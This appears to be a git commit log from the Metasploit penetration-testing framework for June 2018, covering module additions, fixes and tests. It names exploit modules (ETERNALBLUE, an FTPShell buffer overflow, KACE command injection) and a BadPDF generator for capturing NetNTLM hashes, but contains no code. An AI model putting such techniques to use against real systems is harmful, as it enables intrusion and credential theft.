Jacob Robles
fc3199259b
Land #9958 , Nagios xi 2 electric
2018-06-29 12:16:18 -05:00
William Vu
dbb502ae19
Refactor code and address review comments
2018-06-29 12:13:15 -05:00
Jacob Robles
675a736ab7
Update Docs
2018-06-29 11:08:31 -05:00
Jacob Robles
574c47cba6
Change Ranking
...
Command to change the database user
account could cause a DoS condition
if the credentials are incorrect.
2018-06-29 10:56:18 -05:00
Jacob Robles
57b89444f3
Additional style fixes
2018-06-29 10:53:57 -05:00
Wei Chen
2beaabb11a
Add dep for GetTickCount
2018-06-29 10:22:07 -05:00
Metasploit
deeda6a447
automatic module_metadata_base.json update
2018-06-29 07:44:09 -07:00
Brendan Coles
c508a5f7f3
Land #10213 , Add FTPShell client 6.70 Stack Buffer Overflow exploit
2018-06-29 14:40:51 +00:00
Daniel Teixeira
1e148a8862
Update ftpshell_cli_bof.rb
2018-06-29 14:22:40 +01:00
Jacob Robles
7532490a1e
Style/Whitespace fixes
2018-06-29 07:02:45 -05:00
Wei Chen
711d859d13
Update utility_spec
2018-06-29 01:42:22 -05:00
Wei Chen
856b7e3d0c
Remove randomized_compile_c
2018-06-29 00:09:28 -05:00
Wei Chen
38b2a21e90
Add random_compile_c
2018-06-29 00:08:32 -05:00
Wei Chen
d9b664c86a
Change option name
2018-06-29 00:07:40 -05:00
WangYihang
025a531f6e
Update code style
...
Signed-off-by: WangYihang <wangyihanger@gmail.com >
2018-06-29 11:15:52 +08:00
Wei Chen
46219303e2
Add uninit_variables_spec
2018-06-28 21:24:35 -05:00
Wei Chen
52047a6c59
Add switch_spec
2018-06-28 21:21:54 -05:00
Wei Chen
0d55412e80
add string_assignments_spec
2018-06-28 21:15:30 -05:00
Wei Chen
066843bb6c
Add printf_spec
2018-06-28 21:12:34 -05:00
Wei Chen
39bbfb0c58
Update outputdebugstring rspec
2018-06-28 21:10:26 -05:00
Wei Chen
5c86b836c4
Add rspec for outputdebugstring and correct a few things
2018-06-28 21:08:15 -05:00
Wei Chen
03c3e08167
Add malloc_spec and fix int_assignments_spec
2018-06-28 21:03:27 -05:00
Wei Chen
e733e3b62c
Add rpsec int_assignments_spec
2018-06-28 20:59:56 -05:00
Wei Chen
87d0bf1dc4
Add rspec for if_spec
2018-06-28 20:57:35 -05:00
Jacob Robles
2856c46199
Update test cases
2018-06-28 18:26:54 -05:00
Jacob Robles
5e02e7a2c8
smb_file_exist check for rubysmb
2018-06-28 18:10:39 -05:00
Wei Chen
5631e6f89c
Update rspec for RandomStatements
2018-06-28 16:52:12 -05:00
Wei Chen
93fca248d6
Add rspec for gettickcount
2018-06-28 16:51:57 -05:00
Metasploit
39e932458a
automatic module_metadata_base.json update
2018-06-28 14:18:34 -07:00
William Vu
40ac79ced0
Land #10218 , MS17-010 Windows Embedded Standard 7
2018-06-28 16:11:56 -05:00
Brent Cook
007a8eb8be
Land #10222 , Add DanielRTeixeira to mailmap
2018-06-28 15:04:15 -05:00
Wei Chen
8be771f72f
Complete base_spec.rb
2018-06-28 14:47:28 -05:00
Jacob Robles
8e36551b22
Update ruby_smb gem
2018-06-28 12:15:43 -05:00
Jacob Robles
a8c6835c64
Handle STATUS_PIPE_EMPTY error
2018-06-28 12:15:43 -05:00
Jacob Robles
2bc3d6f19b
Update ruby_smb gem
2018-06-28 12:15:43 -05:00
Brent Cook
2792d5fb27
call delete implementation from ruby_smb
2018-06-28 12:15:43 -05:00
Brent Cook
c06f13b33e
remove superfluous sleeps, simplify logic
2018-06-28 12:15:42 -05:00
Brent Cook
4b767efd6c
remove evasion logic from dcerpc read path
2018-06-28 12:15:42 -05:00
Brent Cook
b01bd060ee
remove unneeded slashes
2018-06-28 12:15:42 -05:00
Brent Cook
055c90c076
fix filename randomization while debugging
2018-06-28 12:15:42 -05:00
Metasploit
d6304f4805
Weekly dependency update
2018-06-28 10:07:48 -07:00
Jeffrey Martin
c1c6dc0d85
Land #10221 , Rescue RubySMB Error
2018-06-28 11:03:29 -05:00
Metasploit
5f0c8b2333
automatic module_metadata_base.json update
2018-06-28 08:45:36 -07:00
Brent Cook
10181afbc2
Land #10216 , add linux mic capture support for mettle
2018-06-28 10:39:38 -05:00
Brendan Coles
1e992d039f
Add DanielRTeixeira to mailmap
2018-06-28 14:51:06 +00:00
Jacob Robles
b8094aca7a
Combine rescues
2018-06-28 07:59:40 -05:00
Jacob Robles
1699f352c1
Rescue RubySMB Error
...
Error occurs when scanning OSX SMB server.
2018-06-28 07:06:33 -05:00
Daniel Teixeira
1854793253
Update ftpshell_cli_bof.rb
2018-06-28 13:01:13 +01:00
Daniel Teixeira
bd2fb56adf
Update ftpshell_cli_bof.rb
2018-06-28 12:55:48 +01:00
WangYihang
9fc670f24f
Implementation of resource command
...
Signed-off-by: WangYihang <wangyihanger@gmail.com >
2018-06-28 18:11:06 +08:00
Wei Chen
bc6427e527
Add rspec for CodeFactory::Base (WIP)
2018-06-28 02:20:02 -05:00
William Vu
36a37cf6ab
Add HP VAN SDN Controller exploit
2018-06-28 02:14:04 -05:00
Touhid M Shaikh
f3e3d0c30b
monstra_fileupload_exec.rb
...
Monstra CMS - Authenticated Arbitrary File Upload / Remote Code Execution CVE 2017-18048
2018-06-28 10:55:41 +05:30
zerosum0x0
f742df028b
shitty typos
2018-06-27 20:34:01 -06:00
zerosum0x0
a5c0881c08
add Windows Embedded Standard 7 support
2018-06-27 19:17:18 -06:00
phra
54c2bc36e9
fix: invert if else order
2018-06-28 01:33:56 +02:00
phra
e614805948
chore: fix msftidy
2018-06-28 01:27:51 +02:00
Wei Chen
cec506421d
Add rspec fake_function_collection and update the lib
2018-06-27 18:18:05 -05:00
Wei Chen
ad106ffc0d
Add rspec for fake_function_spec.rb
2018-06-27 17:45:19 -05:00
Wei Chen
56f38f7720
Add some rspec for modifier
2018-06-27 17:30:21 -05:00
Wei Chen
d653115f16
Add parser_spec.rb
2018-06-27 17:18:35 -05:00
UserExistsError
bbf26c66f6
bind_named_pipe fixed for simpleclient versions param
2018-06-27 16:14:53 -06:00
Wei Chen
ede98ff8db
Update random_statements_spec
2018-06-27 17:10:35 -05:00
Jeffrey Martin
a9a7197c4a
add missing paylaods
2018-06-27 17:00:09 -05:00
Matthew Kienow
2a31958f6a
Bump metasploit_payloads-mettle to version 0.4.1
2018-06-27 17:55:08 -04:00
Metasploit
e21df8130b
automatic module_metadata_base.json update
2018-06-27 14:53:08 -07:00
Wei Chen
a9427ef9ef
Add rspec for RandomStatements class
2018-06-27 16:50:09 -05:00
Brent Cook
e17744df8d
Land #10215 , add support for payload estimation for IPv6-specific modules
2018-06-27 16:46:54 -05:00
Adam Cammack
25b9f97a32
Update cached payload size update to support IPv6
2018-06-27 16:26:41 -05:00
William Vu
cb0564913e
Land #9933 , auxiliary/scanner/db2/discovery docs
2018-06-27 16:00:39 -05:00
Metasploit
8e77b7bd9b
automatic module_metadata_base.json update
2018-06-27 13:57:42 -07:00
William Vu
dbb0748c1c
Land #9998 , customizable golden ticket duration
2018-06-27 15:51:56 -05:00
Metasploit
1b4c866bc9
automatic module_metadata_base.json update
2018-06-27 13:43:51 -07:00
William Vu
d7770a98b2
s/Seperated/Separated/
2018-06-27 15:36:41 -05:00
Adam Cammack
ce7d4cd280
Land #10109 , Teradata login scanner and SQL runner
2018-06-27 15:35:57 -05:00
Adam Cammack
9d8294fcc9
Mark Teradata login scanner executable
2018-06-27 15:35:13 -05:00
Adam Cammack
8b2bd35659
Fixup option references in Teradata SQL
2018-06-27 15:34:29 -05:00
Adam Cammack
fe8538a4a7
Add note about Teradata configuration for OS X
2018-06-27 15:33:50 -05:00
Adam Cammack
1dbcf0fd09
Cleanup Teradata SQL options
2018-06-27 15:12:21 -05:00
William Vu
bd7974df98
Land #8999 , make generate and msfvenom great again
2018-06-27 15:10:52 -05:00
Adam Cammack
3985191e0f
Add userpass option to Teradata login scanner
2018-06-27 15:10:02 -05:00
Adam Cammack
ef309e0d5f
Fixup metadata whitespace
2018-06-27 15:09:23 -05:00
Wei Chen
bc0b42c55b
Add utility_spec.rb
2018-06-27 13:49:45 -05:00
Daniel Teixeira
837427ccae
Update ftpshell_cli_bof.rb
2018-06-27 16:42:29 +01:00
Daniel Teixeira
4a4e38a7b0
FTPShell client 6.70 (Enterprise edition)
2018-06-27 16:37:22 +01:00
Daniel Teixeira
857dc39cd0
FTPShell client 6.70 (Enterprise edition)
2018-06-27 16:36:04 +01:00
phra
da22b36997
chore: fix typo
2018-06-27 17:16:38 +02:00
phra
53f158ef4f
refactor: universal check, payload platform check
2018-06-27 17:11:47 +02:00
Wei Chen
752192bfad
Starting rspec
2018-06-27 00:13:56 -05:00
Wei Chen
8e058dd1a5
Rename file
2018-06-27 00:09:36 -05:00
Wei Chen
dcaa623075
make random compiling work
2018-06-27 00:09:04 -05:00
Metasploit
d792fe7561
automatic module_metadata_base.json update
2018-06-26 12:44:46 -07:00
William Vu
9c38c9f63c
Land #10207 , msftidy fixes
2018-06-26 14:38:57 -05:00
Metasploit
8c56df9a01
automatic module_metadata_base.json update
2018-06-26 08:19:40 -07:00
Shelby Pace
c5e7184fdb
Land #10199 , Kace Systems Management Command Injection
2018-06-26 10:11:10 -05:00
Jacob Robles
c4bf12cbe0
ntds_grabber msftidy fixes
2018-06-26 08:22:11 -05:00
Jacob Robles
00102a7413
oscommerce msftidy fix
2018-06-26 08:21:10 -05:00
bwatters-r7
38e1a05928
Land #10206 , Bump metasploit payloads for payload PR 287
...
Merge branch 'bump-payloads-287' into upstream-master
2018-06-25 20:17:29 -05:00
bwatters-r7
7aeb881a60
Bump metasploit-payloads to bring in PR #287
2018-06-25 17:48:10 -05:00
bwatters-r7
3e9bbb4030
Bump metasploit-payloads to bring in PR #287
2018-06-25 17:47:26 -05:00
Metasploit
2013d5ca4e
automatic module_metadata_base.json update
2018-06-25 15:31:14 -07:00
Wei Chen
76954957c7
Land 10200, Add SickRage Password Leak Auxiliary Module
2018-06-25 17:25:23 -05:00
Wei Chen
76535b5e51
Check hidden val && check auth requirement
2018-06-25 17:24:13 -05:00
Wei Chen
823647fbe1
Add compile_random_c func && support optional func collection
2018-06-25 16:50:05 -05:00
Jacob Robles
dfbc72dfbc
Update tests
2018-06-25 15:06:23 -05:00
Jacob Robles
2fd0d797ac
psexec smb2 support
2018-06-25 15:06:23 -05:00
Shelby Pace
10c36bbd7d
modified get_creds, renamed make_request
2018-06-25 12:45:06 -05:00
Green-m
9806ee327a
Fix error when load options from persist file.
2018-06-25 05:50:06 -04:00
Green-m
0145744255
Process persistent job when msf start.
2018-06-25 05:32:17 -04:00
Green-m
2802f17cd5
Add command persist to make job persistent after msf restart.
2018-06-25 05:30:49 -04:00
Green-m
ead71df32b
Add config file for persistent job
2018-06-25 05:29:22 -04:00
Wei Chen
90bc7d2294
Update randomizer for progress
2018-06-22 18:22:29 -05:00
Matthew Kienow
f125fd62c8
Add authentication to protected endpoints
2018-06-22 17:14:45 -04:00
Shelby Pace
81bdbd712c
added disclosureDate and modified style
2018-06-22 15:58:21 -05:00
Matthew Kienow
f38e5af0bf
Use external style sheet
2018-06-22 15:38:17 -04:00
Matthew Kienow
c0717d9306
Add MSF REST web service authentication support
2018-06-22 15:09:36 -04:00
Shelby Pace
510c2d04ef
add auxiliary module and documentation - SickRage
2018-06-22 11:18:02 -05:00
Brendan Coles
6d3c141553
Update patched version check
2018-06-22 15:08:19 +00:00
Brendan Coles
b8f0ca2cd7
Add documentation
2018-06-22 13:53:35 +00:00
Eliott Teissonniere
74ed2a581a
Document post/multi/screensaver
2018-06-22 09:51:55 +00:00
Eliott Teissonniere
7a4b00372e
Document post/multi/manage/open
2018-06-22 09:51:33 +00:00
Brendan Coles
a71a5a10d5
Add Quest KACE Systems Management Command Injection
2018-06-22 08:07:18 +00:00
Brent Cook
bd77273dc0
Land #10155 , Improve #sec_to_s in Rex::ExtTime
2018-06-21 16:45:22 -05:00
Metasploit
7ecbbe67cd
automatic module_metadata_base.json update
2018-06-21 14:37:11 -07:00
Brent Cook
eaf043d30b
Land #10156 , WebKit, as used in WebKitGTK+ Crash - CVE-2018-11646
2018-06-21 16:28:37 -05:00
Metasploit
bfd1bd590b
automatic module_metadata_base.json update
2018-06-21 13:42:14 -07:00
William Vu
a408a2a719
Land #10195 , ms17_010_eternalblue_win8 bug fixes
2018-06-21 15:36:07 -05:00
Adam Cammack
6dafb13f28
Module metadata cleanup
2018-06-21 15:10:47 -05:00
Wei Chen
8f5ad7c1cb
Add CRandomizer
2018-06-21 14:33:04 -05:00
Jeffrey Martin
2f40b2cb45
address missed impacket dependency check
2018-06-21 13:56:17 -05:00
Wei Chen
a91ad8c09c
Land #10193 , Updated Documentation for httpdasm module
2018-06-21 13:04:45 -05:00
Brent Cook
d215aeb5c7
Land #10194 , update rex-powershell with rapid7/rex-powershell#12 , updating GetMethod for GetProcAddress for Windows 10 1803
2018-06-21 12:46:23 -05:00
Metasploit
e071304716
Weekly dependency update
2018-06-21 10:10:56 -07:00
Eliott Teissonniere
c4632f44aa
Fix windows
2018-06-21 16:46:15 +00:00
Eliott Teissonniere
2008de4080
Support Windows screensaver and locking
2018-06-21 16:46:00 +00:00
Brent Cook
9eb866b359
bump and unlock rex-powershell
2018-06-21 11:41:16 -05:00
Wei Chen
e42c695baf
Add CRandomizer (WIP)
2018-06-21 10:50:39 -05:00
AlbertoCoding
33e9d1abb0
clear_screen function added
2018-06-21 13:56:32 +02:00
AlbertoCoding
247437c8f3
Change global variables to instance variables in pseudo_shell module and minor fix prompts's output
2018-06-21 13:25:35 +02:00
Brent Cook
e584732a11
Land #10151 , add robustness when stdapi is unavailable
2018-06-20 23:54:55 -05:00
Brent Cook
38e1429879
Land #10189 , ETERNALBLUE updates
2018-06-20 23:53:20 -05:00
sinn3r
5603307386
Land #10188 , Add Shelby to .mailmap
...
Add Shelby to .mailmap
2018-06-20 18:39:15 -05:00
Shelby Pace
2277b13869
updated documentation
2018-06-20 16:30:19 -05:00
William Vu
4bb6afb24e
Move dependency check so we can send our metadata
...
I missed this detail about the module.run method when adding the check.
Defining the metadata or where you put it doesn't matter so much as if
you're sending it over JSON-RPC.
2018-06-20 15:03:26 -05:00
William Vu
8277a4da24
Add better targeting feedback
2018-06-20 12:41:22 -05:00
William Vu
13a4b2e359
Add dependency check for Impacket
2018-06-20 12:22:17 -05:00
Eliott Teissonniere
a8e9c20d6c
Make open works on windows
2018-06-20 09:23:57 +00:00
Eliott Teissonniere
4c0ac00f38
Make screensaver works on OSX
2018-06-20 09:13:51 +00:00
Wei Chen
60835e15b2
Add Shelby to .mailmap
2018-06-19 18:23:57 -05:00
Metasploit
e1d46a8a30
automatic module_metadata_base.json update
2018-06-19 15:51:43 -07:00
Brent Cook
a1176e011a
Land #10184 , Add sleepya's ETERNALBLUE exploit for Win8+
2018-06-19 17:34:38 -05:00
William Vu
0820268d8a
Improve rank handling with shim logic
2018-06-19 16:46:20 -05:00
Metasploit
40a32511bd
automatic module_metadata_base.json update
2018-06-19 13:04:56 -07:00
Wei Chen
72432c200a
Land #10183 , Add auxiliary mod to exploit httpdasm dir traversal vuln
2018-06-19 14:56:36 -05:00
Wei Chen
b315886f9b
Update option description
2018-06-19 14:55:53 -05:00
Wei Chen
9be8aa6877
Be more verbose on error handling
2018-06-19 14:54:27 -05:00
Shelby Pace
a0189cc3f6
made suggested changes to module
2018-06-19 12:22:44 -05:00
William Vu
9913606ed9
Correct rank and formatting in Haraka
2018-06-19 11:44:02 -05:00
William Vu
9545bac809
Rename remote_exploit_generic template
...
Dropping "generic" from the name. I initially had some reservations
about leaving it in, and after discussion with @acammack-r7, we've
decided it adds nothing useful.
2018-06-19 11:43:56 -05:00
William Vu
df4cee1d77
Fix PEP 8 in added code
2018-06-19 11:20:15 -05:00
William Vu
781478b283
Document some things
2018-06-19 11:20:15 -05:00
William Vu
ecea36c459
Convert PoC to external module
2018-06-19 11:20:10 -05:00
AlbertoCoding
667f6cb570
Some minor fixes in pseudo_shell module and priv.rb
2018-06-19 14:30:00 +02:00
AlbertoCoding
53e6faef27
Module description fixed
2018-06-19 12:50:18 +02:00
AlbertoCoding
be1ea1549e
Post-exploitation API improvements and pseudo_shell module added
2018-06-19 12:39:41 +02:00
William Vu
02384371c4
Add remote_exploit_generic template
2018-06-18 13:29:52 -05:00
William Vu
45e8adc617
Add sleepya's ETERNALBLUE exploit for Win8+
2018-06-18 11:41:57 -05:00
Shelby Pace
f0caa1cef5
Land #10150 , Fix typos and spacing
2018-06-18 11:13:59 -05:00
Shelby Pace
b78bb78f95
added auxiliary module and documentation
2018-06-18 10:25:33 -05:00
Metasploit
4ae505be6b
automatic module_metadata_base.json update
2018-06-18 07:02:33 -07:00
Jacob Robles
cb50d0fade
Land #9825 , Add 'phpMyAdmin Authenticated Remote Code Execution'
2018-06-18 08:51:53 -05:00
Jacob Robles
2e2ded22fc
Use Gem::Version
...
Simplify version comparisons
2018-06-18 08:35:47 -05:00
Jacob Robles
122ea2ddcb
Update module, Add docs
...
Changed the module to an exploit module and
added documentation.
2018-06-18 07:33:05 -05:00
Eliott Teissonniere
351a0bd37f
Cleanup command execution code
2018-06-18 07:24:54 +00:00
Eliott Teissonniere
a750aedb6b
Move xdg_screensaver to multi module
2018-06-18 07:19:52 +00:00
Eliott Teissonniere
1f6b9a51ea
Remove useless import
2018-06-18 06:56:39 +00:00
Eliott Teissonniere
8342751b05
Move xdg_open to multi module
2018-06-18 06:54:13 +00:00
Metasploit
49a010f6ae
automatic module_metadata_base.json update
2018-06-15 13:46:58 -07:00
Wei Chen
ec88683ad2
Land #10165 , Fix missing RequestError in a few post modules
2018-06-15 15:38:49 -05:00
Metasploit
5cf4f775f6
automatic module_metadata_base.json update
2018-06-15 13:22:44 -07:00
Wei Chen
3e8bd83c29
Land #10172 , Rm duplicate word in agitum_outpost_acs description
2018-06-15 15:13:23 -05:00
James Barnett
2ded48a510
Merge branch 'master' into remote_creds_data
2018-06-15 10:26:10 -05:00
Metasploit
ad978097f9
automatic module_metadata_base.json update
2018-06-14 14:42:21 -07:00
William Vu
b733b79533
Land #10021 , post/multi/recon/sudo_commands module
2018-06-14 16:33:50 -05:00
James Barnett
0ba319bf56
More handling of nil private, publics, and origins
2018-06-14 16:20:13 -05:00
Aaron Soto
df9ddebde6
Land #10124 , Add tab completion of values in set command
2018-06-14 16:16:24 -05:00
James Barnett
55c585aeb7
Support creds without public, private, or origin
2018-06-14 15:42:54 -05:00
Aaron Soto
c52b1f3a8d
Land #10141 , background meta command in cmd shells
2018-06-14 15:33:16 -05:00
James Barnett
9aa3d1ccdb
Dont use copy/pastad method in cisco and juniper libs
2018-06-14 14:44:56 -05:00
James Barnett
0d4b2afca7
Add create_credential_and_login in report.rb
2018-06-14 13:30:46 -05:00
James Barnett
9f2f61c481
Implement create_credential_and_login in the dataproxy
2018-06-14 13:28:03 -05:00
Metasploit
58b12037d8
Weekly dependency update
2018-06-14 10:09:07 -07:00
Nicholas Starke
936632f180
Minor Tweaks to Module
...
This commit changes some logic around
on a few different conditional portions
of code.
2018-06-14 10:06:42 -05:00
Brendan Coles
aef74bf477
Add documentation
2018-06-14 13:21:34 +00:00
Clément Notin
b64ab9b0de
Remove duplicate word in the agitum_outpost_acs module description
2018-06-14 15:15:29 +02:00
Eliott Teissonniere
c4af2aca53
Check command availability
2018-06-14 10:00:26 +00:00
Eliott Teissonniere
e523d5a114
Fix tabbed indents
2018-06-14 11:35:03 +02:00
Eliott Teissonniere
b9d59315a8
Fix English in XDG screensaver
2018-06-14 11:30:04 +02:00
Eliott Teissonniere
c5c0dffa3a
Fix English for XDG open
2018-06-14 11:28:30 +02:00
Eliott Teissonniere
ee81ed6f7e
Add XDG screensaver
2018-06-14 08:58:24 +00:00
Eliott Teissonniere
3c4bcf9258
Make XDG open module
2018-06-14 08:33:51 +00:00
Tim W
87b92316b5
Land #10162 , tab completion for audio output
2018-06-14 14:56:23 +08:00
Dhiraj Mishra
c0a5a65e0c
Updated
...
Suggestion's by acammack-r7
2018-06-14 11:25:00 +05:30
WangYihang
398a490617
[+] Fix conflicts
2018-06-14 12:09:37 +08:00
WangYihang
85f02002c0
[+] Fix syntax problems
2018-06-14 12:06:59 +08:00
Metasploit
015c0ae91b
automatic module_metadata_base.json update
2018-06-13 13:41:55 -07:00
Adam Cammack
853bd4d976
Land #10167 , Add Linux x86 IPv6 reverse shell
2018-06-13 15:32:59 -05:00
Adam Cammack
0d9eb5b662
Clean up ipv6 address assembly packing
2018-06-13 15:31:49 -05:00
Adam Cammack
d6f0673840
Fix indentation
2018-06-13 15:27:18 -05:00
Adam Cammack
402edba028
Remove automatic fork
...
The PrependFork option works just as well
2018-06-13 15:26:22 -05:00
Metasploit
fdaddac785
automatic module_metadata_base.json update
2018-06-13 12:53:45 -07:00
Adam Cammack
9681c59f1d
Land #10138 , Update psnuffle RHOSTS and style
2018-06-13 14:45:05 -05:00
Matteo Malvica
e8a7a7e76f
first commit
2018-06-13 21:29:09 +02:00
James Barnett
71651a33f6
Update jtr modules to use remote data store
2018-06-13 12:09:58 -05:00
王一航
58785d69f8
Fix bug of CTRL+D, thanks timwr
2018-06-13 23:18:23 +08:00
WangYihang
750f4d020f
[+] Fix CTRL+D Bug
2018-06-13 23:15:08 +08:00
gazayas
9dec955f1a
Correct space movement in lib/anemone/core.rb
2018-06-13 19:16:35 +09:00
Metasploit
c094d12c4b
automatic module_metadata_base.json update
2018-06-12 15:27:27 -07:00
bwatters-r7
1cd76eb833
Land #10148 , Add New Module - Badpdf
...
Merge branch 'land-10148' into upstream-master
2018-06-12 17:19:32 -05:00
William Vu
14da99bb3d
Fix missing RequestError in a few post modules
...
Should be Rex::Post::Meterpreter::RequestError.
2018-06-12 17:11:29 -05:00
rmdavy
477d709ff6
Code Improvements
...
Ran module through rubocop
2018-06-12 22:55:38 +01:00
Metasploit
9eb65b236e
automatic module_metadata_base.json update
2018-06-12 14:50:04 -07:00
bwatters-r7
29f4870fa0
Land #10101 , Add glibc 'realpath()' Privilege Escalation exploit
2018-06-12 16:41:07 -05:00
bwatters-r7
06b3fdce49
Update reliability because of failures
2018-06-12 16:39:41 -05:00
James Barnett
9aaa7ce142
Enable cracked credential creation via data proxy
2018-06-12 16:00:02 -05:00
Metasploit
38b5546d21
automatic module_metadata_base.json update
2018-06-12 13:11:12 -07:00
William Vu
c3c6bc19da
Land #10059 , CVE-2018-1111 exploit
2018-06-12 15:02:06 -05:00
William Vu
4dd744495d
Add basic module doc
2018-06-12 15:01:40 -05:00
William Vu
f4bb00b9a5
Remove stray PayloadType outside Compat
2018-06-12 14:59:29 -05:00
James Barnett
f26d3ffff5
Fix bugs with adding remote creds
2018-06-12 12:00:51 -05:00
Eliott Teissonniere
fbf4b9fe87
Rework play command to support tab completion
2018-06-12 08:30:54 +00:00
Metasploit
b5cdf448c6
automatic module_metadata_base.json update
2018-06-11 01:29:00 -07:00
Tim W
0c891e972f
Land #10066 , implement AudioOutput api from channel
2018-06-11 16:20:11 +08:00
Tim W
57e3bbdba4
update payload cached sizes
2018-06-11 16:19:58 +08:00
Dhiraj Mishra
b44265fcb2
Minor tweaks
...
Suggestion's made by bcoles
2018-06-11 13:25:02 +05:30
Dhiraj Mishra
62a13430f7
Minor changes in documentation
2018-06-11 13:21:13 +05:30
rmdavy
6b58163fde
Code Improvement
...
Added further code improvement suggested by bcoles
2018-06-11 08:06:02 +01:00
Metasploit
5b012a5ae1
automatic module_metadata_base.json update
2018-06-10 20:11:24 -07:00
Brendan Coles
645c890888
Land #10157 , Add IconFile path to .URL files generated with MultiDrop
2018-06-11 03:07:21 +00:00
rmdavy
f10b2b12d4
Implemented changes suggested by bcoles
2018-06-10 22:18:17 +01:00
rmdavy
22538bfd63
Fixed Minor Code Error & Removed Spaces
2018-06-10 21:53:40 +01:00
王一航
58cc2c1ff9
🐛 fix a grammatical error
2018-06-10 10:40:12 +08:00
rmdavy
f4334828d0
Minor Improvement
...
URL File Creation also supports IconFile - this has now been added
2018-06-09 17:46:27 +01:00
rmdavy
5e630b34e1
Minor Update
...
Removed some Spaces at EOL
2018-06-09 17:03:32 +01:00
rmdavy
5ca538541a
Code Improvements
...
Code improvements as suggested by bcoles.
2018-06-09 16:44:37 +01:00
rmdavy
f9c74419bb
Minor Code Update
...
Improved injection and Minor Code Improvement
2018-06-09 12:24:33 +01:00
Dhiraj Mishra
be5bc3d2f8
Added documentation
2018-06-09 16:32:20 +05:30
Dhiraj Mishra
51823b1d3d
Spaces at EOL
2018-06-09 15:58:11 +05:30
gazayas
e67931950e
Fix spacing of last method in lib/anemone/core.rb
2018-06-09 19:15:44 +09:00
Dhiraj Mishra
d3a18b2ce9
Some tweak
...
Thanks bcloes 😎
2018-06-09 12:15:21 +05:30
Dhiraj Mishra
76588aed09
Error at disclosure date format
2018-06-09 12:03:41 +05:30
Dhiraj Mishra
f1d29e730f
Spaces at EOL
2018-06-09 11:53:21 +05:30
Dhiraj Mishra
6e8412fa73
CVE-2018-11646 - Webkit+
2018-06-09 11:43:47 +05:30
Tim W
78ba9cb487
use mettle 0.4.0
2018-06-09 11:12:38 +08:00
Kent 'picat' Gruber
2bdc8803cb
add zero seconds handling
2018-06-08 22:21:26 -04:00
Kent 'picat' Gruber
679a225462
improve #sec_to_s method implementation
...
Using the following implementation yields roughly ~1.5x speedup in my tests.
2018-06-08 22:09:03 -04:00
James Barnett
1710957d6e
Only add ports when they were specified
2018-06-08 17:16:24 -05:00
Green-m
514f991768
Fix bug when use command load and migrate
2018-06-08 04:06:38 -04:00
Metasploit
8e45309fc6
automatic module_metadata_base.json update
2018-06-08 00:07:47 -07:00
Tim W
9abf438428
Land #10118 , cleanup OSX local exploit modules
2018-06-08 14:57:09 +08:00
Tim W
641ffca98c
use base_dir
2018-06-08 14:53:21 +08:00
gazayas
ac5be1fe1e
Fix typos in lib/rbmysql/charset.rb
2018-06-08 11:32:06 +09:00
James Barnett
beecafb14d
Update AuthBrute to use data proxy
2018-06-07 16:50:30 -05:00
rmdavy
7e0c8d279f
Minor Code Update
2018-06-07 21:16:41 +01:00
rmdavy
ab80eadc3f
Minor Code Improvement
2018-06-07 21:06:47 +01:00
rmdavy
992d2130aa
Updated Documentation
2018-06-07 21:05:56 +01:00
rmdavy
98507b2e51
Update badpdf.rb
2018-06-07 19:08:51 +01:00
rmdavy
3036b62890
Update badpdf.md
2018-06-07 19:07:29 +01:00
William Vu
0107310c72
Land #10145 , Lync subdomain wordlist
2018-06-07 13:02:04 -05:00
Metasploit
5cd840c34f
Weekly dependency update
2018-06-07 10:07:49 -07:00
James Barnett
83e9af5fb5
Dont skip origin filtering if there are no login entries
2018-06-07 11:41:40 -05:00
Jacob Robles
ad249ad62b
Sort Wordlist
2018-06-07 11:34:07 -05:00
James Barnett
3f5373869d
Include ports in creds opts
2018-06-07 11:12:49 -05:00
rmdavy
aba05275ae
BadPDF Generator
...
Generated PDF files which contain a UNC link back to listener, can be used to capture NetNTLM hashes.
2018-06-07 16:40:57 +01:00
rmdavy
85a32fcd32
BadPDF Documentation
2018-06-07 16:39:50 +01:00
rmdavy
16fcaa3d00
Delete badpdf.rb
2018-06-07 16:38:57 +01:00
rmdavy
c790537bb2
BadPDF Generator
2018-06-07 16:38:22 +01:00
WangYihang
e52ee80a58
🐛 Fix wrong order
2018-06-07 19:44:38 +08:00
WangYihang
b9def85d71
[+] Add help menu
2018-06-07 10:45:24 +08:00
WangYihang
87e2c6af7c
⭐ Add help menu of background and sessions meta command
2018-06-07 10:17:22 +08:00
Jacob Robles
cf962b28a5
Add Lync Subdomain Wordlist
2018-06-06 13:05:56 -05:00
Metasploit
b31da17aa9
automatic module_metadata_base.json update
2018-06-06 09:36:03 -07:00
Aaron Soto
f53d2a14df
Land #10067 , Added auxiliary/fileformat/odt_badodt
2018-06-06 11:27:23 -05:00
Aaron Soto
20e773498f
Moved to auxiliary/fileformat/odt_badodt and updated docs
2018-06-06 11:27:07 -05:00
Aaron Soto
2ec6d11663
Expanded documentation to discuss auxiliary/server/capture/smb
2018-06-06 11:19:04 -05:00
WangYihang
939a2f4cff
[-] Remove useless commented lines
2018-06-06 13:17:56 +08:00
WangYihang
66c2c3a78b
[-] Remove useless commented lines
2018-06-06 13:14:38 +08:00
Metasploit
d861996320
automatic module_metadata_base.json update
2018-06-05 14:38:56 -07:00
James Barnett
2114dfa4ff
Retrieve the service manually instead of using AR
2018-06-05 16:35:56 -05:00
Aaron Soto
61074d1220
Land #10115 , Added module auxiliary/fileformat/multidrop
2018-06-05 16:30:30 -05:00
Aaron Soto
c94263c915
Create 'fileformat' and move 'auxiliary/multidrop' to 'auxiliary/fileformat/multidrop'
2018-06-05 16:27:57 -05:00
James Barnett
64cb7dfb3c
Include origin in remote requests and display it
2018-06-05 14:59:11 -05:00
Metasploit
eecc811bc8
automatic module_metadata_base.json update
2018-06-05 06:45:36 -07:00
Jacob Robles
3b2889cd77
Land #10106 , Add the scanner/smb/impacket/wmiexec module
2018-06-05 08:33:34 -05:00
WangYihang
26e2ea072d
✨ Implementation of sessions meta command
2018-06-05 14:56:55 +08:00
WangYihang
28f5e8e5ad
Implementation of background meta command (Not prefect)
2018-06-05 11:46:31 +08:00
Metasploit
9c192c6fed
automatic module_metadata_base.json update
2018-06-04 16:30:25 -07:00
rmdavy
59873ba81a
Updated Authors
2018-06-04 23:03:00 +01:00
rmdavy
b256a99128
Updated
2018-06-04 23:02:27 +01:00
Jeffrey Martin
88dfc51341
Land #10110 , Use JSON instead of PSTORE for module metadata
2018-06-04 16:49:08 -05:00
James Barnett
ea6540358c
Look up related service manually
2018-06-04 14:10:26 -05:00
rmdavy
0719ca28c4
Minor Updates
...
Minor Updates as per recommendations by Aaron Soto.
